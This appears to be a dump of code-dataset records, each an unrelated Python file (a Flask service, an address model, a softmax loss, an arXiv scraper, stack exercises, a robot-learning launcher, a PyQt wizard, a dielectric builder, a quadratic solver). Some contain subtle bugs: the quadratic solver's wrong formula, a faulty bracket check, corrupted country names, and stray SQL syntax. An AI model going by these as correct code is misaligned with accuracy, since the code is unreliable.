self._mysql_db.find(sql)\n\t\tif not table:\n\t\t\tsql = \"\"\"\n\t\t\t\tCREATE TABLE {table_name} (\n\t\t\t\t\t`id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT,\n\t\t\t\t\t`batch_date` {date} DEFAULT NULL COMMENT '批次时间',\n\t\t\t\t\t`total_count` int(11) DEFAULT NULL COMMENT '任务总数',\n\t\t\t\t\t`done_count` int(11) DEFAULT NULL COMMENT '完成数',\n\t\t\t\t\t`fail_count` int(11) DEFAULT NULL COMMENT '失败任务数',\n\t\t\t\t\t`interval` float(11) DEFAULT NULL COMMENT '批次间隔',\n\t\t\t\t\t`interval_unit` varchar(20) DEFAULT NULL COMMENT '批次间隔单位 day, hour',\n\t\t\t\t\t`create_time` datetime DEFAULT CURRENT_TIMESTAMP COMMENT '批次开始时间',\n\t\t\t\t\t`update_time` datetime DEFAULT CURRENT_TIMESTAMP COMMENT '本条记录更新时间',\n\t\t\t\t\t`is_done` int(11) DEFAULT '0' COMMENT '批次是否完成 0 未完成 1 完成',\n\t\t\t\t\tPRIMARY KEY (`id`)\n\t\t\t\t\t) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;\n\t\t\t\t);\n\t\t\t\"\"\".format(table_name=common.MYSQL_RECORD_TABLE, date=self._data_format)\n\t\t\tself._mysql_db.execute(sql)\n","sub_path":"fastspider/core/spiders/cycle_spider.py","file_name":"cycle_spider.py","file_ext":"py","file_size_in_byte":2664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"307677886","text":"import logging\nfrom typing import Dict, List\n\nfrom app.application import db\nfrom app.models import Person\n\nlogging.basicConfig(level=logging.WARNING)\nlogger = logging.getLogger(\"person-api\")\n\n\nclass PersonService:\n @staticmethod\n def create(person: Dict) -> Person:\n new_person = Person()\n new_person.first_name = person[\"first_name\"]\n new_person.last_name = person[\"last_name\"]\n new_person.company_name = person[\"company_name\"]\n\n db.session.add(new_person)\n db.session.commit()\n\n return new_person\n\n @staticmethod\n def retrieve(person_id: int) -> Person:\n person = db.session.query(Person).get(person_id)\n return person\n\n @staticmethod\n def retrieve_all() -> List[Person]:\n return db.session.query(Person).all()\n","sub_path":"modules/persons_api_rest/app/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"475621444","text":"# -*- coding: utf-8 -*-\nfrom billgate.models import db, BaseMixin\nfrom billgate.models import User\nfrom uuid import uuid4\nfrom datetime import datetime\n\n__all__ = ['Address']\n\ncountries = [\n ('AFG', u'Afghanistan'),\n ('ALA', u'Åland Islands'),\n ('ALB', u'Albania'),\n ('DZA', u'Algeria'),\n ('ASM', u'American Samoa'),\n ('AND', u'Andorra'),\n ('AGO', u'Angola'),\n ('AIA', u'Anguilla'),\n ('ATA', u'Antarctica'),\n ('ATG', u'Antigua and Barbuda'),\n ('ARG', u'Argentina'),\n ('ARM', u'Armenia'),\n ('ABW', u'Aruba'),\n ('AUS', u'Australia'),\n ('AUT', u'Austria'),\n ('AZE', u'Azerbaijan'),\n ('BHS', u'Bahamas'),\n ('BHR', u'Bahrain'),\n ('BGD', u'Bangladesh'),\n ('BRB', u'Barbados'),\n ('BLR', u'Belarus'),\n ('BEL', u'Belgium'),\n ('BLZ', u'Belize'),\n ('BEN', u'Benin'),\n ('BMU', u'Bermuda'),\n ('BTN', u'Bhutan'),\n ('BOL', u'Bolivia'),\n ('BIH', u'Bosnia and Herzegovina'),\n ('BWA', u'Botswana'),\n ('BVT', u'Bouvet Island'),\n ('BRA', u'Brazil'),\n ('IOT', u'British Indian Ocean Territory'),\n ('BRN', u'Brunei Darussalam'),\n ('BGR', u'Bulgaria'),\n ('BFA', u'Burkina Faso'),\n ('BDI', u'Burundi'),\n ('KHM', u'Cambodia'),\n ('CMR', u'Cameroon'),\n ('CAN', u'Canada'),\n ('CPV', u'Cape Verde'),\n ('CYM', u'Cayman Islands'),\n ('CAF', u'Central African Republic'),\n ('TCD', u'Chad'),\n ('CHL', u'Chile'),\n ('CHN', u'China'),\n ('CXR', u'Christmas Island'),\n ('CCK', u'Cocos (Keeling) Islands'),\n ('COL', u'Colombia'),\n ('COM', u'Comoros'),\n ('COG', u'Congo'),\n ('COD', u'Congo, the Democratic Republic of the'),\n ('COK', u'Cook Islands'),\n ('CRI', u'Costa Rica'),\n ('HRV', u'Croatia'),\n ('CUB', u'Cuba'),\n ('CYP', u'Cyprus'),\n ('CZE', u'Czech Republic'),\n ('CIV', u\"Côte d'Ivoire\"),\n ('DNK', u'Denmark'),\n ('DJI', u'Djibouti'),\n ('DMA', u'Dominica'),\n ('DOM', u'Dominican Republic'),\n ('ECU', u'Ecuador'),\n ('EGY', u'Egypt'),\n ('SLV', u'El Salvador'),\n ('GNQ', u'Equatorial Guinea'),\n ('ERI', u'Eritrea'),\n ('EST', u'Estonia'),\n ('ETH', u'Ethiopia'),\n ('FLK', u'Falkland Islands (Malvinas)'),\n ('FRO', u'Faroe Islands'),\n ('FJI', u'Fiji'),\n ('FIN', u'Finland'),\n ('FRA', u'France'),\n ('GUF', u'French Guiana'),\n ('PYF', u'French Polynesia'),\n ('ATF', u'French Southern Territories'),\n ('GAB', u'Gabon'),\n ('GMB', u'Gambia'),\n ('GEO', u'Georgia'),\n ('DEU', u'Germany'),\n ('GHA', u'Ghana'),\n ('GIB', u'Gibraltar'),\n ('GRC', u'Greece'),\n ('GRL', u'Greenland'),\n ('GRD', u'Grenada'),\n ('GLP', u'Guadeloupe'),\n ('GUM', u'Guam'),\n ('GTM', u'Guatemala'),\n ('GGY', u'Guernsey'),\n ('GNB', u'Guinea-Bissau'),\n ('GUY', u'Guyana'),\n ('HTI', u'Haiti'),\n ('HMD', u'Heard Island and McDonald Islands'),\n ('VAT', u'Holy See (Vatican City State)'),\n ('HND', u'Honduras'),\n ('HKG', u'Hong Kong'),\n ('HUN', u'Hungary'),\n ('ISL', u'Iceland'),\n ('IND', u'India'),\n ('IDN', u'Indonesia'),\n ('IRN', u'Iran, Islamic Republic of'),\n ('IRQ', u'Iraq'),\n ('IRL', u'Ireland'),\n ('IMN', u'Isle of Man'),\n ('ISR', u'Israel'),\n ('ITA', u'Italy'),\n ('JAM', u'Jamaica'),\n ('JPN', u'Japan'),\n ('JEY', u'Jersey'),\n ('JOR', u'Jordan'),\n ('KAZ', u'Kazakhstan'),\n ('KEN', u'Kenya'),\n ('KIR', u'Kiribati'),\n ('PRK', u\"Korea, Democratic People's Republic of\"),\n ('KOR', u'Korea, Republic of'),\n ('KWT', u'Kuwait'),\n ('KGZ', u'Kyrgyzstan'),\n ('LAO', u\"Lao People's Democratic Republic\"),\n ('LVA', u'Latvia'),\n ('LBN', u'Lebanon'),\n ('LSO', u'Lesotho'),\n ('LBR', u'Liberia'),\n ('LBY', u'Libyan Arab Jamahiriya'),\n ('LIE', u'Liechtenstein'),\n ('LTU', u'Lithuania'),\n ('LUX', u'Luxembourg'),\n ('MAC', u'Macao'),\n ('MKD', u'Macedonia, the former Yugoslav Republic of'),\n ('MDG', u'Madagascar'),\n ('MWI', u'Malawi'),\n ('MYS', u'Malaysia'),\n ('MDV', u'Maldives'),\n ('MLI', u'Mali'),\n ('MLT', u'Malta'),\n ('MHL', u'Marshall Islands'),\n ('MTQ', u'Martinique'),\n ('MRT', u'Mauritania'),\n ('MUS', u'Mauritius'),\n ('MYT', u'Mayotte'),\n ('MEX', u'Mexico'),\n ('FSM', u'Micronesia, Federated States of'),\n ('MDA', u'Moldova'),\n ('MCO', u'Monaco'),\n ('MNG', u'Mongolia'),\n ('MNE', u'Montenegro'),\n ('MSR', u'Montserrat'),\n ('MAR', u'Morocco'),\n ('MOZ', u'Mozambique'),\n ('MMR', u'Myanmar'),\n ('GIN', u'N Guinea'),\n ('NAM', u'Namibia'),\n ('NRU', u'Nauru'),\n ('NPL', u'Nepal'),\n ('NLD', u'Netherlands'),\n ('ANT', u'Netherlands Antilles'),\n ('NCL', u'New Caledonia'),\n ('NZL', u'New Zealand'),\n ('NIC', u'Nicaragua'),\n ('NER', u'Niger'),\n ('NGA', u'Nigeria'),\n ('NIU', u'Niue'),\n ('NFK', u'Norfolk Island'),\n ('MNP', u'Northern Mariana Islands'),\n ('OMN', u'Oman'),\n ('PAK', u'Pakistan'),\n ('PLW', u'Palau'),\n ('PSE', u'Palestinian Territory, Occupied'),\n ('PAN', u'Panama'),\n ('PNG', u'Papua New Guinea'),\n ('PRY', u'Paraguay'),\n ('PER', u'Peru'),\n ('PHL', u'Philippines'),\n ('PCN', u'Pitcairn'),\n ('POL', u'Poland'),\n ('PRT', u'Portugal'),\n ('PRI', u'Puerto Rico'),\n ('QAT', u'Qatar'),\n ('NOR', u'R Norway'),\n ('ROU', u'Romania'),\n ('RUS', u'Russian Federation'),\n ('RWA', u'Rwanda'),\n ('REU', u'Réunion'),\n ('BLM', u'Saint Barthélemy'),\n ('SHN', u'Saint Helena'),\n ('KNA', u'Saint Kitts and Nevis'),\n ('LCA', u'Saint Lucia'),\n ('MAF', u'Saint Martin (French part)'),\n ('SPM', u'Saint Pierre and Miquelon'),\n ('VCT', u'Saint Vincent and the Grenadines'),\n ('WSM', u'Samoa'),\n ('SMR', u'San Marino'),\n ('STP', u'Sao Tome and Principe'),\n ('SAU', u'Saudi Arabia'),\n ('SEN', u'Senegal'),\n ('SRB', u'Serbia'),\n ('SYC', u'Seychelles'),\n ('SLE', u'Sierra Leone'),\n ('SGP', u'Singapore'),\n ('SVK', u'Slovakia'),\n ('SVN', u'Slovenia'),\n ('SLB', u'Solomon Islands'),\n ('SOM', u'Somalia'),\n ('ZAF', u'South Africa'),\n ('SGS', u'South Georgia and the South Sandwich Islands'),\n ('ESP', u'Spain'),\n ('LKA', u'Sri Lanka'),\n ('SDN', u'Sudan'),\n ('SUR', u'Suriname'),\n ('SJM', u'Svalbard and Jan Mayen'),\n ('SWZ', u'Swaziland'),\n ('SWE', u'Sweden'),\n ('CHE', u'Switzerland'),\n ('SYR', u'Syrian Arab Republic'),\n ('TWN', u'Taiwan, Province of China'),\n ('TJK', u'Tajikistan'),\n ('TZA', u'Tanzania, United Republic of'),\n ('THA', u'Thailand'),\n ('TLS', u'Timor-Leste'),\n ('TGO', u'Togo'),\n ('TKL', u'Tokelau'),\n ('TON', u'Tonga'),\n ('TTO', u'Trinidad and Tobago'),\n ('TUN', u'Tunisia'),\n ('TUR', u'Turkey'),\n ('TKM', u'Turkmenistan'),\n ('TCA', u'Turks and Caicos Islands'),\n ('TUV', u'Tuvalu'),\n ('UGA', u'Uganda'),\n ('UKR', u'Ukraine'),\n ('ARE', u'United Arab Emirates'),\n ('GBR', u'United Kingdom'),\n ('USA', u'United States'),\n ('UMI', u'United States Minor Outlying Islands'),\n ('URY', u'Uruguay'),\n ('UZB', u'Uzbekistan'),\n ('VUT', u'Vanuatu'),\n ('VEN', u'Venezuela'),\n ('VNM', u'Viet Nam'),\n ('VGB', u'Virgin Islands, British'),\n ('VIR', u'Virgin Islands, U.S.'),\n ('WLF', u'Wallis and Futuna'),\n ('ESH', u'Western Sahara'),\n ('YEM', u'Yemen'),\n ('ZMB', u'Zambia'),\n ('ZWE', u'Zimbabwe'),\n ]\n\nclass Address(BaseMixin, db.Model):\n __tablename__ = 'address'\n \n # address must be unique within a user scope\n user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)\n user = db.relation(User, backref=db.backref('addresses', cascade='all, delete-orphan'))\n\n #for session persistence\n hashkey = db.Column(db.Unicode(250), default=lambda:unicode(uuid4().hex), nullable=True)\n\n name = db.Column(db.Unicode(250), default=u'', nullable=True)\n address = db.Column(db.Unicode(1200), default=u'', nullable=True)\n city = db.Column(db.Unicode(250), default=u'', nullable=True)\n state = db.Column(db.Unicode(250), default=u'', nullable=True)\n postal_code = db.Column(db.Unicode(6), default=u'', nullable=True)\n country = db.Column(db.Unicode(250), default=u'', nullable=True) \n phone = db.Column(db.Unicode(15), default=u'', nullable=True)\n email = db.Column(db.Unicode(80), default=u'', nullable=True)\n\n @classmethod\n def get(cls, user):\n return cls.query.filter_by(user=user)\n\n @classmethod\n def get_by_hashkey(cls, hashkey):\n return Address.query.filter_by(hashkey=hashkey)","sub_path":"billgate/models/address.py","file_name":"address.py","file_ext":"py","file_size_in_byte":8496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"122777020","text":"import numpy as np\r\n\r\n# софтмакс - обобщение логистической функции для многомерного случая\r\n# ф-я преобразует вектор размерности в вектор той же разм где каждая координата полученного\r\n# вектора представлена вещественным числом 0 или 1\r\n# эта ф-я применяетсяч для задач классификации когда классов мб больше двух\r\n\r\n# передается логиты\r\n# crossentropy суммирует элементы\r\ndef softmax_crossentropy_with_logits(logits, reference_answers):\r\n # loss = a(correct) + log(sum(exp(logits)))\r\n \"\"\"Compute crossentropy from logits[batch,n_classes] and ids of correct answers\"\"\"\r\n tmp_logits = logits[np.arange(len(logits)), reference_answers]\r\n\r\n xentropy = -tmp_logits + np.log(np.sum(np.exp(logits), axis=-1))\r\n\r\n return xentropy\r\n\r\n# grad софтмакса\r\ndef grad_softmax_crossentropy_with_logits(logits, reference_answers):\r\n \"\"\"Compute crossentropy gradient from logits[batch,n_classes] and ids of correct answers\"\"\"\r\n ones_for_answers = np.zeros_like(logits)\r\n ones_for_answers[np.arange(len(logits)), reference_answers] = 1\r\n\r\n softmax = np.exp(logits) / np.exp(logits).sum(axis=-1, keepdims=True)\r\n\r\n return (softmax - ones_for_answers) / logits.shape[0]","sub_path":"Loss.py","file_name":"Loss.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"437094942","text":"import arxiv\nimport json\nfrom bibtexparser.bwriter import BibTexWriter\nfrom bibtexparser.bibdatabase import BibDatabase\n\nwith open('./params.json') as json_file:\n\tparams = json.load(json_file)\n\tsearch_string = ' AND '.join( '( ' + ' OR '.join([ f'\"{item}\"' for item in ors]) + ' )' for ors in params[\"stage1\"])\nprint(search_string)\n# Multi-field queries\nresult = arxiv.query(search_query=search_string, max_results=100)\nprint(result[0])\n\nbiblist = []\nfor item in result:\n\tbibitem = {}\n\tbibitem['ENTRYTYPE'] = 'article'\n\tbibitem['ID'] = item['id']\n\tbibitem['abstract'] = item['summary']\n\tbibitem['title'] = item['title']\n\tbibitem['journal'] = 'arxiv'\n\tbibitem['author'] = ' and '.join([', '.join(author.rsplit(' ', 1)[::-1]) for author in item['authors']])\n\tbibitem['year'] = str(item['published_parsed'].tm_year)\n\tbibitem['month'] = str(item['published_parsed'].tm_mon)\n\tbibitem['url'] = item['pdf_url']\n\tbiblist.append(bibitem)\n\ndb = BibDatabase()\ndb.entries = biblist\n\nwriter = BibTexWriter()\nwith open('../data/arxiv_fulltextsearch.bib', 'w') as bibfile:\n bibfile.write(writer.write(db))\n\n\n","sub_path":"chapters/literature_analysis/code/arxivscraper.py","file_name":"arxivscraper.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"555747271","text":"from pythonds.basic import Stack\r\n\r\ndef task1():\r\n '''\r\n Проверка сбалансированности скобок в выражении\r\n '''\r\n string = '[]()(([]))'\r\n stack = Stack()\r\n flag = True\r\n for item in string:\r\n print(item)\r\n if item in '[({':\r\n stack.push(item)\r\n else:\r\n if item in '})]' and not stack.isEmpty():\r\n if stack.peek() == item or not stack.isEmpty():\r\n stack.pop()\r\n else:\r\n flag = False\r\n else:\r\n flag = False\r\n \r\n if not stack.isEmpty():\r\n flag = False\r\n \r\n print(flag)\r\n\r\n\r\ndef task2():\r\n '''\r\n Сортировка значений в стеке\r\n (неэффективный метод)\r\n '''\r\n import random\r\n random.seed(1)\r\n stack = Stack()\r\n for i in range(10):\r\n stack.push(random.randint(0, 9))\r\n\r\n tmp = []\r\n\r\n while not stack.isEmpty():\r\n tmp.append(stack.pop())\r\n print(tmp)\r\n\r\n i = 0\r\n while i < len(tmp):\r\n j=0\r\n while j < len(tmp)-i-1:\r\n if tmp[j] > tmp[j+1]:\r\n tmp[j], tmp[j+1] = tmp[j+1], tmp[j]\r\n j+=1\r\n i+=1\r\n\r\n while tmp != []:\r\n stack.push(tmp.pop(0))\r\n\r\n while not stack.isEmpty():\r\n print(stack.pop(), end='')\r\n\r\n\r\ndef task3():\r\n pass\r\n\r\ntask2()","sub_path":"data_structure_algorithms/stack.py","file_name":"stack.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"346614341","text":"from types import SimpleNamespace\n\nfrom garage.experiment import LocalRunner, run_experiment\nfrom garage.tf.algos import PPO\nfrom garage.tf.baselines import GaussianMLPBaseline\nfrom garage.tf.envs import TfEnv\nfrom garage.tf.policies import GaussianMLPPolicy\nfrom sawyer.mujoco.reacher_env import SimpleReacherEnv\n\n\nGOALS = [\n # ( ?, ?, ?)\n (0.6, 0.3, 0.3),\n # (0.3, 0.6, 0.15),\n # (-0.3, 0.6, 0.15),\n]\n\n\ndef run_task(v):\n v = SimpleNamespace(**v)\n\n with LocalRunner() as runner:\n # Environment\n env = SimpleReacherEnv(\n goal_position=GOALS[0],\n control_method=\"position_control\",\n completion_bonus=5\n )\n\n env = TfEnv(env)\n\n # Policy\n policy = GaussianMLPPolicy(\n name=\"policy\",\n env_spec=env.spec,\n hidden_sizes=(64, 32),\n init_std=v.policy_init_std,\n )\n\n baseline = GaussianMLPBaseline(env_spec=env.spec)\n\n algo = PPO(\n env=env,\n policy=policy,\n baseline=baseline,\n max_path_length=v.max_path_length,\n discount=0.99,\n lr_clip_range=0.2,\n optimizer_args=dict(batch_size=32, max_epochs=10),\n plot=True,\n )\n\n runner.setup(algo, env)\n runner.train(n_epochs=1000, batch_size=v.batch_size, plot=False)\n\n\nconfig = dict(\n batch_size=4096,\n max_path_length=100, # 50\n policy_init_std=0.1, # 1.0\n)\n\nrun_experiment(\n run_task,\n exp_prefix='sawyer_reach_ppo_position',\n n_parallel=4,\n seed=1,\n variant=config,\n plot=True,\n)\n","sub_path":"launchers/sawyer_reach_ppo2.py","file_name":"sawyer_reach_ppo2.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"641242438","text":"#!/usr/bin/env python3\n\nfrom PyQt5 import QtWidgets\n\n\n################################################################################\nclass PlateGUIModulePrototype(QtWidgets.QFrame):\n\tdef __init__(self, parent, _mid, geometry):\n\t\tsuper(PlateGUIModulePrototype, self).__init__(parent = parent)\n\t\tself.parent = parent\n\t\tself._mid = _mid\n\t\tself.setGeometry(*geometry)\n\t\tself.setStyleSheet(\"QFrame{background-color:#F0F0F0;}\")\n\t\tself.hide()\n\t\tself.flow_control_buttons = []\n\n\tdef _add_button(self, geometry, text, callbacks, auto_default = False):\n\t\tbutton = QtWidgets.QPushButton(parent = self)\n\t\tbutton.setGeometry(*geometry)\n\t\tbutton.setText(text)\n\t\tbutton.setAutoDefault(auto_default)\n\t\tbutton.released.connect(callbacks)\n\t\treturn button\n\n\tdef add_fc_prev_button(self):\n\t\tx = self.width() - 330\n\t\ty = self.height() - 29\n\t\ttext = \"< Back\"\n\t\tbutton = self._add_button((x, y, 100, 24), text,\n\t\t\t\t\t\t\t\t\tcallbacks = self.prev)\n\t\tself.flow_control_buttons.append(button)\n\n\tdef add_fc_next_button(self, is_finish = False):\n\t\tx = self.width() - 225\n\t\ty = self.height() - 29\n\t\ttext = is_finish and \"Run\" or \"Next >\"\n\t\t# set auto-default for this button\n\t\tbutton = self._add_button((x, y, 100, 24), text,\n\t\t\t\t\t\t\t\t\tcallbacks = self.next,\n\t\t\t\t\t\t\t\t\tauto_default = True)\n\t\tself.flow_control_buttons.append(button)\n\n\tdef add_fc_cancel_button(self):\n\t\tx = self.width() - 110\n\t\ty = self.height() - 29\n\t\ttext = \"Cancel\"\n\t\tbutton = self._add_button((x, y, 100, 24), text,\n\t\t\t\t\t\t\t\t\tcallbacks = self.cancel)\n\t\tself.flow_control_buttons.append(button)\n\n\tdef _show_fc_buttons(self):\n\t\tfor btn in self.flow_control_buttons:\n\t\t\tbtn.show()\n\n\tdef _hide_fc_buttons(self):\n\t\tfor btn in self.flow_control_buttons:\n\t\t\tbtn.hide()\n\n\t@classmethod\n\tdef onEnable(cls, callbacks):\n\t\tdef wrap(self):\n\t\t\tcallbacks(self)\n\t\t\tself.show()\n\t\t\tself.setEnabled(True)\n\t\t\tself._show_fc_buttons()\n\t\tcls.enable = wrap\n\t\treturn wrap\n\n\t@classmethod\n\tdef onDisable(cls, callbacks):\n\t\tdef wrap(self, hide = False):\n\t\t\tcallbacks(self)\n\t\t\tself.setDisabled(True)\n\t\t\tif hide:\n\t\t\t\tself.hide()\n\t\t\tself._hide_fc_buttons()\n\t\tcls.disable = wrap\n\t\treturn wrap\n\n\t############################################################################\n\t# validation check for all parameters input\n\t# check callbacks is provided by modules themselves\n\t# each callbacks should return 0 or null to indicate success\n\t# otherwise the process is halted\n\t#\n\t# the check callbacks will be set to null function (returns nothing)\n\t# as default\n\t@classmethod\n\tdef checkOnPrevClick(cls, callbacks):\n\t\tdef wrap(self):\n\t\t\tif callbacks(self):\n\t\t\t\treturn\t\t\n\t\t\tself.disable(hide = True)\n\t\t\tself.parentWidget().call_prev_module(self._mid)\n\t\tcls.prev = wrap\n\t\treturn wrap\n\n\t@classmethod\n\tdef checkOnNextClick(cls, callbacks):\n\t\tdef wrap(self):\n\t\t\tif callbacks(self):\n\t\t\t\treturn\t\t\n\t\t\tself.disable()\n\t\t\tself.parentWidget().call_next_module(self._mid)\n\t\tcls.next = wrap\n\t\treturn wrap\n\n\t############################################################################\n\t# finish is a special case of next\n\t# it shares the same entry 'self.next()' with next button\n\t@classmethod\n\tdef checkOnFinishClick(cls, callbacks):\n\t\tdef wrap(self):\n\t\t\tif callbacks(self):\n\t\t\t\treturn\n\t\t\tself.parentWidget().call_finish()\n\t\tcls.next = wrap\n\t\treturn wrap\n\n\t@classmethod\n\tdef onCancel(cls, callbacks):\n\t\tdef wrap(self):\n\t\t\tcallbacks(self)\n\t\t\tself.parentWidget().call_cancel()\n\t\tcls.cancel = wrap\n\t\treturn wrap\n\n# set null to all default methods\ndef NullFunction(self):\n\treturn None\nPlateGUIModulePrototype.onEnable(NullFunction)\nPlateGUIModulePrototype.onDisable(NullFunction)\nPlateGUIModulePrototype.checkOnPrevClick(NullFunction)\nPlateGUIModulePrototype.checkOnNextClick(NullFunction)\nPlateGUIModulePrototype.onCancel(NullFunction)\n\n\n\n\n\n################################################################################\n# test\n################################################################################\n# if __name__ == \"__main__\":\n\t# import unittest\n# \n\t# class test(unittest.TestCase):\n\t\t# pass\n# \n\t# suite = unittest.TestLoader().loadTestsFromTestCase(test)\n\t# unittest.TextTestRunner(verbosity = 2).run(suite)\n","sub_path":"AssayLib/PlateGUIModulePrototype.py","file_name":"PlateGUIModulePrototype.py","file_ext":"py","file_size_in_byte":4099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"625969133","text":"import logging\nimport numpy as np\nfrom datetime import datetime\nfrom itertools import combinations\n\nfrom pymongo import ASCENDING\n\nfrom pymatgen import Structure\nfrom pymatgen.analysis.elasticity.tensors import Tensor\nfrom pymatgen.analysis.piezo import PiezoTensor\n\nfrom maggma.builder import Builder\n\n__author__ = \"Shyam Dwaraknath \"\n\n\nclass DielectricBuilder(Builder):\n def __init__(self, materials, dielectric, min_band_gap=0.1, query={}, **kwargs):\n \"\"\"\n Creates a dielectric collection for materials\n\n Args:\n materials (Store): Store of materials documents to match to\n dielectric (Store): Store of dielectric properties\n min_band_gap (float): minimum band gap for a material to look for a dielectric calculation to build\n query (dict): dictionary to limit materials to be analyzed\n \"\"\"\n\n self.materials = materials\n self.dielectric = dielectric\n self.min_band_gap = min_band_gap\n self.query = query\n\n super().__init__(sources=[materials],\n targets=[dielectric],\n **kwargs)\n\n def get_items(self):\n \"\"\"\n Gets all items to process into materials documents\n\n Returns:\n generator or list relevant tasks and materials to process into materials documents\n \"\"\"\n\n self.logger.info(\"Dielectric Builder Started\")\n\n self.logger.info(\"Setting indexes\")\n self.ensure_indexes()\n\n q = dict(self.query)\n q.update(self.materials.lu_filter(self.dielectric))\n q[\"dielectric\"] = {\"$exists\": 1}\n mats = list(self.materials.find(q, {\"material_id\": 1}))\n\n self.logger.info(\"Found {} new materials for dielectric data\".format(len(mats)))\n\n for m in mats:\n mat = self.materials().find_one(m, {\"material_id\": 1, \"dielectric\": 1, \"piezo\": 1, \"structure\": 1})\n yield mat\n\n def process_item(self, item):\n \"\"\"\n Process the tasks and materials into a dielectrics collection\n\n Args:\n item dict: a dict of material_id, structure, and tasks\n\n Returns:\n dict: a dieletrics dictionary \n \"\"\"\n\n def poly(matrix):\n diags = np.diagonal(matrix)\n return np.prod(diags) / np.sum(np.prod(comb) for comb in combinations(diags, 2))\n\n d = {\n \"material_id\": item[\"material_id\"]\n }\n\n structure = Structure.from_dict(item[\"structure\"])\n\n if item.get(\"dielectric\") is not None:\n ionic = Tensor(d[\"dielectric\"][\"ionic\"])\n static = Tensor(d[\"dielectric\"][\"static\"])\n total = ionic + static\n\n d[\"dielectric\"] = {\n \"total\": total.symmetrized.fit_to_structure(structure).convert_to_ieee(structure),\n \"ionic\": ionic.symmetrized.fit_to_structure(structure).convert_to_ieee(structure),\n \"static\": static.symmetrized.fit_to_structure(structure).convert_to_ieee(structure),\n \"e_total\": poly(total),\n \"e_ionic\": poly(ionic),\n \"e_static\": poly(static)\n }\n\n # Update piezo if non_centrosymmetric\n if item.get(\"piezo\") is not None:\n static = PiezoTensor.from_voigt(np.array(item['piezo'][\"piezo_tensor\"]))\n ionic = PiezoTensor.from_voigt(np.array(item['piezo'][\"piezo_ionic_tensor\"]))\n total = ionic + static\n\n d[\"piezo\"] = {\n \"total\": total.symmetrized.fit_to_structure(structure).convert_to_ieee(structure).voigt,\n \"ionic\": ionic.symmetrized.fit_to_structure(structure).convert_to_ieee(structure).voigt,\n \"static\": static.symmetrized.fit_to_structure(structure).convert_to_ieee(structure).voigt,\n \"e_ij_max\": np.max(total.voigt)\n }\n\n # TODO Add in more analysis: v_max ?\n # TODO: Add in unstable phonon mode analysis of piezoelectric for potentially ferroelectric\n\n if len(d) > 1:\n return d\n\n return None\n\n def update_targets(self, items):\n \"\"\"\n Inserts the new task_types into the task_types collection\n\n Args:\n items ([([dict],[int])]): A list of tuples of materials to update and the corresponding processed task_ids\n \"\"\"\n\n items = list(filter(None, items))\n\n if len(items) > 0:\n self.logger.info(\"Updating {} dielectrics\".format(len(items)))\n bulk = self.dielectric().initialize_ordered_bulk_op()\n\n for m in filter(None, items):\n m[self.dielectric.lu_field] = datetime.utcnow()\n bulk.find({\"material_id\": m[\"material_id\"]}).upsert().replace_one(m)\n bulk.execute()\n else:\n self.logger.info(\"No items to update\")\n\n def ensure_indexes(self):\n \"\"\"\n Ensures indexes on the tasks and materials collections\n :return:\n \"\"\"\n # Search index for materials\n self.materials().create_index(\"material_id\", unique=True, background=True)\n","sub_path":"emmet/materials/dielectric.py","file_name":"dielectric.py","file_ext":"py","file_size_in_byte":5112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"485185251","text":"'''\r\nFaça um programa que calcule as raízes de uma equação do segundo grau, na forma ax2 + bx + c. O programa deverá pedir os valores de a, b e c e fazer as consistências, informando ao usuário nas seguintes situações:\r\n Se o usuário informar o valor de A igual a zero, a equação não é do segundo grau e o programa não deve fazer pedir os demais valores, sendo encerrado;\r\n Se o delta calculado for negativo, a equação não possui raizes reais. Informe ao usuário e encerre o programa;\r\n Se o delta calculado for igual a zero a equação possui apenas uma raiz real; informe-a ao usuário;\r\n Se o delta for positivo, a equação possui duas raiz reais; informe-as ao usuário;\r\n\r\n DELTA = B² - 4.A.C\r\n'''\r\nfrom math import sqrt\r\n\r\nprint('-' * 15 + 'Calculadora de Raízes de uma Equação de Segundo Grau (Ax² + Bx + c)' + '-' * 15)\r\nprint()\r\na = float(input('Digite o valor de A: '))\r\nif a == 0:\r\n print('A equação não é do segundo grau')\r\nelse:\r\n b = float(input('Digite o valor de B: '))\r\n c = float(input('Digite o valor de C: '))\r\n delta = b**2 - (4 * a * c)\r\n if delta < 0:\r\n print('A equação não possui raízes reais.')\r\n elif delta == 0:\r\n print('A equação possui apenas uma raiz real.')\r\n x = (-4 + sqrt(delta)) / 2 * a\r\n print(f'Valor da raíz: {x}')\r\n elif delta > 0:\r\n print(f'A equação {a}x²+{b}x+{c} possui duas raízes reais.')\r\n x = (-4 + sqrt(delta)) / 2 * a\r\n print(f'Valor das raízes: {x} e {-x}')\r\n","sub_path":"EstruturaDeDecisao/exercicio_16.py","file_name":"exercicio_16.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"197140992","text":"from coin import Coin\nfrom wallet import Wallet\nfrom tradebot import Tradebot\n\nif __name__ == \"__main__\":\n\t\n\twallet = Wallet(coins = [\n\t\tCoin(name = 'USDT', volume = 0.), \n\t\tCoin(name = 'STR' , volume = 1155.), \n\t\tCoin(name = 'BTC' , volume = 0.)\n\t\t])\n\n\ttradebot = Tradebot(\n\t\twallet = wallet, \n\t\tbase_currency = 'USDT', \n\t\tquote_currency = 'STR', 